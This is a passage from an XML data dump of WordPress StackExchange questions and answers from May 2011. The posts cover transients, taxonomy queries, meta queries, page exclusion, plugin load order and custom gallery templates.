  <row Id="17147" PostTypeId="2" ParentId="17146" CreationDate="2011-05-13T10:49:18.813" Score="2" ViewCount="" Body="&lt;p&gt;Does it have to use a switch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why not something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( false === ( $value = get_transient( 'value' ) ) ) {&#xA;     // this code runs when there is no valid transient set&#xA;} else {&#xA;    // this code runs when there is a valid transient set&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the a transient returns a value it will not return true. It returns the value of the transient. If the transient is not set then it returns bool(false)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are using a switch it would be like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$transient = get_transient( foobar );&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch( $transient ) :&#xA;&#xA;    case false:&#xA;        // transient not set&#xA;    break;&#xA;&#xA;    default:&#xA;        // transient didnt return false&#xA;    break;&#xA;&#xA;endswitch;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-13T11:50:59.763" LastActivityDate="2011-05-13T11:50:59.763" CommentCount="2" />
  <row Id="17148" PostTypeId="2" ParentId="17145" CreationDate="2011-05-13T10:54:51.327" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_term_children()&lt;/code&gt; only outputs the term IDs, and you later get details for each term using &lt;code&gt;get_term_by()&lt;/code&gt;. You can combine these queries in one using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_terms()&lt;/code&gt;&lt;/a&gt; with the &lt;code&gt;child_of&lt;/code&gt; argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_terms( $taxonomyName, array( 'child_of' =&amp;gt; $termID ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default this sorts by name. However, it is possible that the &lt;code&gt;child_of&lt;/code&gt; argument undoes the sorting. In that case you can sort it again using &lt;code&gt;usort()&lt;/code&gt;. See an example at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16921/get-pages-not-ordering-as-it-should/16960#16960&quot;&gt;this answer for a related problem&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-13T10:54:51.327" />
  <row Id="17149" PostTypeId="2" ParentId="17146" CreationDate="2011-05-13T10:59:50.340" Score="0" ViewCount="" Body="&lt;p&gt;Your both examples are wrong for the value returned by get_transient. get_transient returns false when the transient is not found, but what if the transient value is 0, it will also evaluate to false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PHP switch statement always does the loose comparison, so you might not get the desired results in case when transient value is 0. So its better to not use switch in this case, instead use if.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though the Example 1 will work if you are sure your transient values will never be something that will evaluate to false.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-13T10:59:50.340" CommentCount="3" />
  <row Id="17150" PostTypeId="1" CreationDate="2011-05-13T11:30:56.640" Score="0" ViewCount="143" Body="&lt;p&gt;I am using the: &lt;a href=&quot;http://www.farinspace.com/how-to-create-custom-wordpress-meta-box/&quot; rel=&quot;nofollow&quot;&gt;http://www.farinspace.com/how-to-create-custom-wordpress-meta-box/&lt;/a&gt; function to create some custom meta boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My WP_Query looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $args = array(&#xA;                'post_type' =&amp;gt; 'testimonials',&#xA;                'post_status' =&amp;gt; 'publish',&#xA;                'orderby' =&amp;gt; checked((bool) $instance['testimonials_random'], true, false) ? 'rand' : 'id',&#xA;                'posts_per_page' =&amp;gt; $testimonials_number,&#xA;                'paged' =&amp;gt; get_query_var('page'),&#xA;                'meta_query' =&amp;gt; array(&#xA;                    array(&#xA;                        'key' =&amp;gt; '_my_meta[&quot;addtosidebar&quot;]',&#xA;                        'value' =&amp;gt; 'on',&#xA;                        'compare' =&amp;gt; 'LIKE'&#xA;                    )&#xA;                )&#xA;            );&#xA;            $query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The input checkbox addtosidebar looks like this:&#xA;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;_my_meta[addtosidebar]&quot; &amp;lt;?php checked((bool) $meta['addtosidebar'], true); ?&amp;gt; class=&quot;checkbox&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea how can I access the key in the meta_query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Cip&lt;/p&gt;&#xA;" OwnerUserId="5340" LastActivityDate="2011-05-13T11:30:56.640" Title="Wordpress meta_query key array" Tags="&lt;3.1&gt;" CommentCount="1" />
  <row Id="17151" PostTypeId="2" ParentId="11270" CreationDate="2011-05-13T11:35:40.840" Score="0" ViewCount="" Body="&lt;p&gt;I use The Events Calendar Pro, I purchased it after the free version had issues with some newer plugins. The free one is no longer being developed, so a few dollars seemed a good investment, it solved my plugin problem and has custom post types and support.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2011-05-13T11:35:40.840" />
  <row Id="17152" PostTypeId="2" ParentId="17146" CreationDate="2011-05-13T11:37:13.807" Score="3" ViewCount="" Body="&lt;p&gt;I think &lt;code&gt;switch&lt;/code&gt; is a little to bulky for this. Also your second example is definitely not a way to do it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$transient = get_transient( 'foobar' );&#xA;&#xA;if( false !== $transient ) { // boolean false or has no value &#xA;&#xA;    //code goes here&#xA;}&#xA;else { // any other case&#xA;&#xA;   //code goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;===&lt;/code&gt; / &lt;code&gt;!==&lt;/code&gt; compare by value and type so even if your transient will be integer &lt;code&gt;0&lt;/code&gt; it won't be considered &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-13T11:37:13.807" CommentCount="4" />
  <row Id="17153" PostTypeId="1" CreationDate="2011-05-13T12:13:42.607" Score="1" ViewCount="48" Body="&lt;p&gt;Ironically, Wordpress StackExchange has the perfect example of what I'm trying to do. At the foot of every page here is a key/legend of associated sites with a colour reference for each one. I need to create an identical looking key of my posts showing the project names and project colours for each project in my portfolio site. The project names and colour references are already in custom fields within my custom post type. However obviously a query will just return all the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at &lt;a href=&quot;http://wordpress.org/support/topic/custom-query-filtered-with-group-by-not-working?replies=1#post-2109292&quot; rel=&quot;nofollow&quot;&gt;GROUPBY&lt;/a&gt; but not been able to get it to work, anyone got a better idea or can tell me where I'm going wrong? Sigh, I can't seem to get an answer to this from Wordpress support or StackOverFlow, it can't be that difficult surely.&lt;/p&gt;&#xA;" OwnerUserId="5342" LastActivityDate="2011-05-13T14:44:21.567" Title="How can I create a legend (Key) like the one in the footer on WordPress StackExchange" Tags="&lt;custom-loop&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="17154" PostTypeId="1" AcceptedAnswerId="17181" CreationDate="2011-05-13T12:40:36.190" Score="1" ViewCount="41" Body="&lt;p&gt;I was trying to set up a few pages the other day that would hold an authors information (only to be accessed from the author snippet at the bottom of posts), and obviously these pages are showing up in the &lt;code&gt;&amp;lt;?php wp_list_pages('title_li='); ?&amp;gt;&lt;/code&gt;  , I made sure of my page order (0-5 are the pages that must be there, and I set up the special pages to start with an id of 44 just in case they added some pages), and then tried &lt;code&gt;&amp;lt;?php wp_list_pages('title_li=&amp;amp;exclude=44'); ?&amp;gt;&lt;/code&gt;. However, 0-5 show up, as well as 44. Any thoughts on why this is still occurring?&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-05-13T21:27:27.597" Title="Excluding Pages not working" Tags="&lt;theme-development&gt;&lt;page&gt;&lt;list&gt;" AnswerCount="3" CommentCount="0" />
  <row Id="17155" PostTypeId="1" AcceptedAnswerId="17160" CreationDate="2011-05-13T12:52:27.967" Score="4" ViewCount="250" Body="&lt;p&gt;What is the best method (as of 3.1 or 3.2 beta) to sort a custom post type archive by a given taxonomy term?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make a staff page and I want to sort employees by department. So the taxonomy would be &lt;code&gt;staff&lt;/code&gt; and the terms to sort would be &lt;code&gt;sales&lt;/code&gt; and &lt;code&gt;support&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;query_posts&lt;/code&gt; and &lt;code&gt;WP_Query&lt;/code&gt; but perhaps I messed up the arg array...&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-05-13T13:36:42.520" Title="Sort Custom Post Type Archive by Taxonomy Term" Tags="&lt;custom-taxonomy&gt;&lt;custom-post-type-archives&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="17156" PostTypeId="2" ParentId="17079" CreationDate="2011-05-13T13:05:56.723" Score="0" ViewCount="" Body="&lt;p&gt;From a look at &lt;em&gt;/wp-includes/default-filters.php&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe one of the following filters is causing the problem. I'd try to &lt;code&gt;remove_filter()&lt;/code&gt; them and see what happens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'wptexturize'        );&#xA;add_filter( 'the_content', 'convert_smilies'    );&#xA;add_filter( 'the_content', 'convert_chars'      );&#xA;add_filter( 'the_content', 'wpautop'            );&#xA;add_filter( 'the_content', 'shortcode_unautop'  );&#xA;add_filter( 'the_content', 'prepend_attachment' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't help, we'll need another workaround.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-13T13:05:56.723" />
  <row Id="17157" PostTypeId="2" ParentId="2489" CreationDate="2011-05-13T13:11:01.617" Score="1" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://www.nsp-code.com/wordpress-plugins/post-types-order&quot; rel=&quot;nofollow&quot;&gt;Post Types Order&lt;/a&gt; it's the easiest way for posts order within categories or custom taxonomies&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2011-05-13T13:11:01.617" />
  <row Id="17158" PostTypeId="2" ParentId="2714" CreationDate="2011-05-13T13:14:11.960" Score="0" ViewCount="" Body="&lt;p&gt;There is a much easier pursue for posts order using the &lt;a href=&quot;http://www.nsp-code.com/wordpress-plugins/post-types-order&quot; rel=&quot;nofollow&quot;&gt;Post Types Order&lt;/a&gt; just drag and drop and you're done.&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2011-05-13T13:14:11.960" />
  <row Id="17159" PostTypeId="2" ParentId="9574" CreationDate="2011-05-13T13:16:52.880" Score="3" ViewCount="" Body="&lt;p&gt;There is a plugin called &lt;a href=&quot;http://www.nsp-code.com/wordpress-plugins/post-types-order&quot; rel=&quot;nofollow&quot;&gt;Post Types Order&lt;/a&gt; which allow you to sort posts and pages you should try that.&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2011-05-13T13:16:52.880" />
  <row Id="17160" PostTypeId="2" ParentId="17155" CreationDate="2011-05-13T13:36:42.520" Score="0" ViewCount="" Body="&lt;p&gt;Good question - I'm fairly sure you can't do this just using wp_query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to either add a posts_groupby filter, or just query the database directly. This previous question and answer might be helpful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/14306/using-wp-query-is-it-possible-to-orderby-taxonomy&quot;&gt;Using wp_query is it possible to orderby taxonomy?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-13T13:36:42.520" />
  <row Id="17161" PostTypeId="2" ParentId="15693" CreationDate="2011-05-13T14:31:29.317" Score="2" ViewCount="" Body="&lt;p&gt;You can do that manually and set any order you need using this plugin &lt;a href=&quot;http://www.nsp-code.com/wordpress-plugins/post-types-order&quot; rel=&quot;nofollow&quot;&gt;Post Types Order&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2011-05-13T14:31:29.317" />
  <row Id="17162" PostTypeId="1" AcceptedAnswerId="18352" CreationDate="2011-05-13T14:35:40.950" Score="2" ViewCount="167" Body="&lt;p&gt;I'm writing a plugin, &lt;em&gt;bar&lt;/em&gt;, which is dependent on another plugin, &lt;em&gt;foo&lt;/em&gt;, being activated, and I need the functions from &lt;em&gt;foo&lt;/em&gt; to be available when &lt;em&gt;bar&lt;/em&gt; loads. Normally plugins are loaded in alphabetical order based on the directory name, so &lt;em&gt;bar&lt;/em&gt; is loaded before &lt;em&gt;foo&lt;/em&gt;. If I rename the &lt;em&gt;bar&lt;/em&gt; directory to &lt;em&gt;zbar&lt;/em&gt; then it gets loaded last and works fine, but I'm looking for a more elegant and correct solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed &lt;a href=&quot;http://wordpress.org/support/topic/how-to-change-plugins-load-order?replies=11&quot; rel=&quot;nofollow&quot;&gt;jsdalton's method of altering the &lt;code&gt;active_plugins&lt;/code&gt; option&lt;/a&gt;, and it is reordering the array to place &lt;em&gt;bar&lt;/em&gt; at the end, but &lt;em&gt;bar&lt;/em&gt; still can't access &lt;em&gt;foo&lt;/em&gt;'s functions when it instantiates. I've read through the relevant core code -- basically &lt;code&gt;wp-settings.php&lt;/code&gt; and &lt;code&gt;wp_get_active_and_valid_plugins()&lt;/code&gt; in &lt;code&gt;wp-includes\load.php&lt;/code&gt; -- and it seems like plugins should be loaded in the order they're indexed inside &lt;code&gt;active_plugins&lt;/code&gt;, so I can't figure out what's going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on a MultiSite installation. &lt;em&gt;bar&lt;/em&gt; is a class and &lt;em&gt;foo&lt;/em&gt; is procedural.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a stripped-down version of &lt;em&gt;foo/foo.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function foo()&#xA;{&#xA;    // stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's a stripped-down version of &lt;em&gt;bar/bar.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class bar&#xA;{&#xA;    public function __construct()&#xA;    {&#xA;        // ...&#xA;&#xA;        $active_plugins = get_option('active_plugins');&#xA;        print_r($active_plugins);&#xA;&#xA;        if( function_exists('foo') )&#xA;            wp_die(&quot;foo exists&quot;);&#xA;        else&#xA;            wp_die(&quot;foo doesn't exist yet&quot;);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;function this_plugin_last() &#xA;{&#xA;    $wp_path_to_this_file = preg_replace('/(.*)plugins\/(.*)$/', WP_PLUGIN_DIR.&quot;/$2&quot;, __FILE__);&#xA;    $this_plugin = plugin_basename(trim($wp_path_to_this_file));&#xA;    $active_plugins = get_option('active_plugins');&#xA;    $this_plugin_key = array_search($this_plugin, $active_plugins);&#xA;&#xA;    if ($this_plugin_key) &#xA;    {&#xA;        array_splice($active_plugins, $this_plugin_key, 1);&#xA;        array_push($active_plugins, $this_plugin);&#xA;        update_option('active_plugins', $active_plugins);&#xA;    }&#xA;}&#xA;add_action(&quot;plugins_loaded&quot;, &quot;this_plugin_last&quot;);&#xA;&#xA;$bar = new bar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the output from &lt;em&gt;bar&lt;/em&gt;'s constructor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; foo/foo.php&#xA;    [1] =&amp;gt; bar/bar.php&#xA;)&#xA;&#xA;foo doesn't exist yet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-05-26T17:54:33.213" Title="Changing Plugin Load Order" Tags="&lt;plugin-development&gt;&lt;multisite&gt;&lt;hooks&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="17163" PostTypeId="2" ParentId="17153" CreationDate="2011-05-13T14:38:31.167" Score="1" ViewCount="" Body="&lt;p&gt;This site simpley uses ■ and a span color for each link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To query custom fields for your post type you should be using &lt;code&gt;get_post_meta&lt;/code&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_post_meta&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To customize the query, check out &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query&lt;/a&gt; , you can include or exclude practically anything you want.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-05-13T14:44:21.567" LastActivityDate="2011-05-13T14:44:21.567" CommentCount="1" />
  <row Id="17164" PostTypeId="2" ParentId="17154" CreationDate="2011-05-13T14:50:22.717" Score="1" ViewCount="" Body="&lt;p&gt;To exclude pages that have not been made yet, sort like future proofing your site, you can use &lt;code&gt;exclude_tree&lt;/code&gt; for instance &lt;code&gt;exclude_tree=42&lt;/code&gt;. This will exclude all child pages of the parent page with and ID of 42. You will have to structure a bit more code but that way you won't have to constantly update the hard-coded &lt;code&gt;exclude&lt;/code&gt; with a post ID. The alternative would be to use just &lt;code&gt;exclude&lt;/code&gt; with some sort of conditional array.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-13T14:50:22.717" />
  <row Id="17165" PostTypeId="1" CreationDate="2011-05-13T15:44:36.063" Score="1" ViewCount="215" Body="&lt;p&gt;When editing categories for my custom post type the selected admin menu is the one for posts (see screenshot). Is this a bug. If not it's kind of non intuitive, and not so good for the end users experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/aBQpb.png&quot; rel=&quot;nofollow&quot;&gt;Screenshot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function product_register_product_post_type() {&#xA;&#xA;    $box_post_type_args = array(&#xA;        'show_ui' =&amp;gt; true,&#xA;        'public' =&amp;gt; true,&#xA;        'taxonomies' =&amp;gt; array(&#xA;            'product_category'&#xA;        ),&#xA;        'supports' =&amp;gt; array(&#xA;            'title',&#xA;            'editor',&#xA;            'thumbnail',&#xA;            'slug'&#xA;        ),&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; 'Products',&#xA;            'singular_name' =&amp;gt; 'Product',&#xA;            'add_new' =&amp;gt; 'Add New Product',&#xA;            'add_new_item' =&amp;gt; 'Add New Product',&#xA;            'edit_item' =&amp;gt; 'Edit Product',&#xA;            'new_item' =&amp;gt; 'New Product',&#xA;            'view_item' =&amp;gt; 'View Product',&#xA;            'search_items' =&amp;gt; 'Search Products',&#xA;            'not_found' =&amp;gt; 'No Products Found',&#xA;            'not_found_in_trash' =&amp;gt; 'No Products Found In Trash'&#xA;        ),&#xA;        'capability_type' =&amp;gt; 'page',&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'produkt' )&#xA;    );&#xA;&#xA;    register_post_type( 'product', $box_post_type_args );&#xA;&#xA;    // Add new taxonomy, make it hierarchical (like categories)&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'Categories', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Category', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Category' ),&#xA;        'all_items' =&amp;gt; __( 'All Categories' ),&#xA;        'parent_item' =&amp;gt; __( 'Parent Category' ),&#xA;        'parent_item_colon' =&amp;gt; __( 'Parent Category:' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Category' ), &#xA;        'update_item' =&amp;gt; __( 'Update Category' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Category' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Genre Category' ),&#xA;        'menu_name' =&amp;gt; __( 'Categories' ),&#xA;    );  &#xA;&#xA;    register_taxonomy( 'product_category', array( 'product' ), array(&#xA;        'public' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'labels' =&amp;gt; $labels,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'produkter' ),&#xA;    ));&#xA;}&#xA;add_action( 'init', 'product_register_product_post_type');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5347" LastEditorUserId="5347" LastEditorDisplayName="" LastEditDate="2011-05-14T14:22:28.230" LastActivityDate="2011-08-14T23:24:22.030" Title="Bug when editing custom post type category?" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" />
  <row Id="17166" PostTypeId="2" ParentId="17165" CreationDate="2011-05-13T16:31:38.183" Score="0" ViewCount="" Body="&lt;p&gt;You need to set up a custom taxonomy and then add the name of the custom tax via the &quot;taxonomies&quot; arg when registering the custom post type.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-13T16:31:38.183" CommentCount="4" />
  <row Id="17167" PostTypeId="2" ParentId="16800" CreationDate="2011-05-13T16:55:38.917" Score="3" ViewCount="" Body="&lt;p&gt;Output all images of each gallery in your HTML. Use an anchor tag that links to the fullsize image around each thumbnail. Depending on the lightbox plugin you prefer to use, group all images from the same gallery (often done using the &lt;code&gt;rel&lt;/code&gt; attribute in HTML). At that point, just hide all but one thumbnail per gallery. Hook your lightbox plugin to the galleries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check it out: &lt;a href=&quot;http://jsfiddle.net/8WcUp/1/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/8WcUp/1/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-13T16:55:38.917" CommentCount="3" />
  <row Id="17168" PostTypeId="1" AcceptedAnswerId="25400" CreationDate="2011-05-13T17:18:46.070" Score="6" ViewCount="173" Body="&lt;p&gt;I want to have a central &quot;data&quot; sheet that is regularly drawn upon for types of posts that are submitted.  Lets say I had a movie review site, but also want to let people post other info, like Trivia or some such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would have 2 custom posts types (or perhaps one if I let Reviews just be handled in Posts).  I want both the review and the trivia to be search for by the movie title, the production company, the category the movie is in, etc.  I've been creating Taxonomies for each of these properties outside of the category.  What I've run into though is that every time a new review or piece of trivia is created for that movie, one would have to re-enter all that data.  I rather just have them choose the Movie title, and have the rest of that data inherited. So if they chose &quot;Scream 4&quot; for their review, it automatically inherits the &quot;Horror&quot; Category, &quot;Wes Craven&quot; as the director, and &quot;Dimension Films&quot; as the Studio without someone have to individually assign those taxonomies each time something is created.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do such a thing? &lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-08-09T10:25:09.660" Title="Any way to make posts inherit properties/taxonomies through a single assigned taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;cms&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="3" />
  <row Id="17169" PostTypeId="1" AcceptedAnswerId="17515" CreationDate="2011-05-13T17:27:05.780" Score="6" ViewCount="330" Body="&lt;p&gt;This is somewhat of a follow-up to a question I asked some time ago:  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11088/trying-to-design-nice-category-drilldown-with-one-held-taxonomy-and-a-repeatabl&quot;&gt;Trying to design nice category drilldown with one &amp;quot;held&amp;quot; taxonomy and a repeatable list of categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've sort of got a better idea of what I want, but only a vague idea of how to accomplish it and I was hoping to get some feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to be using wordpress as a CMS.  Instead of posts with blog-type info, I'd be making Products with a number of shared properties (which I'd assign to taxonomies).  I want to create a good search/navigation area for people to be able to find the Product Info/Review that they want.  Really something like New Egg (www.newegg.com) has when you try and find a piece of computer equipment you want.  Were you go in and start in say the Processor category, and then you can drilldown to what you want.  All the posts with the 3GHZ taxonomy.  The Search box would adjust then to show all those posts and the remaining taxonomies you could drill down by, socket type, AMD/Intel etc... and have it hold on to those properties as you pass through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use either cookies or a session to hold the values as I pass down through them, but not entire sure how to approach the rest of the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for any open source examples I might be able to look through where this has been done before that would help me develop something like this for my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-05-17T19:20:10.730" Title="Using Wordpress to make a &quot;Product Search&quot; type navigation drilldown" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;wp-query&gt;&lt;navigation&gt;&lt;breadcrumb&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="17170" PostTypeId="1" AcceptedAnswerId="17171" CreationDate="2011-05-13T17:28:42.533" Score="0" ViewCount="126" Body="&lt;p&gt;I've found a way to insert a customized gallery inside my wordpress template but I'm not sure this is the better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded my images with the default image uploader of wordpress to manage the photos, than I've removed it from the post article and managed the media from the &lt;code&gt;loop-single.php&lt;/code&gt; page template I've created like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;header&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    /* gallery */&#xA;&#xA;    var params = {&#xA;        autostart:true,&#xA;        easing:'easeInOutExpo',&#xA;        transition:750&#xA;    };&#xA;    var gallery = new ImgGalleryManager ('#site-gallery', '#gallery-menu', 'selected', params);&#xA;&#xA;    /* */&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;$args = array(&#xA;    'order'          =&amp;gt; 'ASC',&#xA;    'post_type'      =&amp;gt; 'attachment',&#xA;    'post_parent'    =&amp;gt; $post-&amp;gt;ID,&#xA;    'post_mime_type' =&amp;gt; 'image',&#xA;    'post_status'    =&amp;gt; null,&#xA;    'numberposts'    =&amp;gt; -1,&#xA;);&#xA;$attachments = get_posts($args);&#xA;if ($attachments) {&#xA;    $html = '&amp;lt;div id=&quot;site-gallery&quot;&amp;gt;&#xA;                &amp;lt;table&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;';&#xA;&#xA;&#xA;    foreach ($attachments as $attachment) {&#xA;        //echo apply_filters('the_title', $attachment-&amp;gt;post_title);&#xA;        $html .= '&amp;lt;td&amp;gt;'. wp_get_attachment_link($attachment-&amp;gt;ID, 'full', false, false).'&amp;lt;/td&amp;gt;';&#xA;        if (empty($list_imgs)) {&#xA;            $list_imgs = '&amp;lt;div id=&quot;gallery-menu&quot;&amp;gt;&amp;lt;div class=&quot;img-selector selected&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        } else {&#xA;            $list_imgs .= '&amp;lt;div class=&quot;img-selector&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        }&#xA;    }&#xA;&#xA;    $html .= '&amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;    &amp;lt;/div&amp;gt;'.$list_imgs.'&amp;lt;/div&amp;gt;';&#xA;&#xA;    echo $html;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&amp;lt;div id=&quot;cnt-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;post-content&quot;&amp;gt;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;    &amp;lt;?php the_tags(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't believe this is the best way to manage photos but I don't know wordpress and I've did the first thing I thought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I use a better way to custom the image gallery of a post or is this the best way? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to customize the &lt;code&gt;[gallery]&lt;/code&gt; in the &lt;code&gt;loop-single.php&lt;/code&gt; page without remove it and create it manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read &lt;a href=&quot;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&quot; 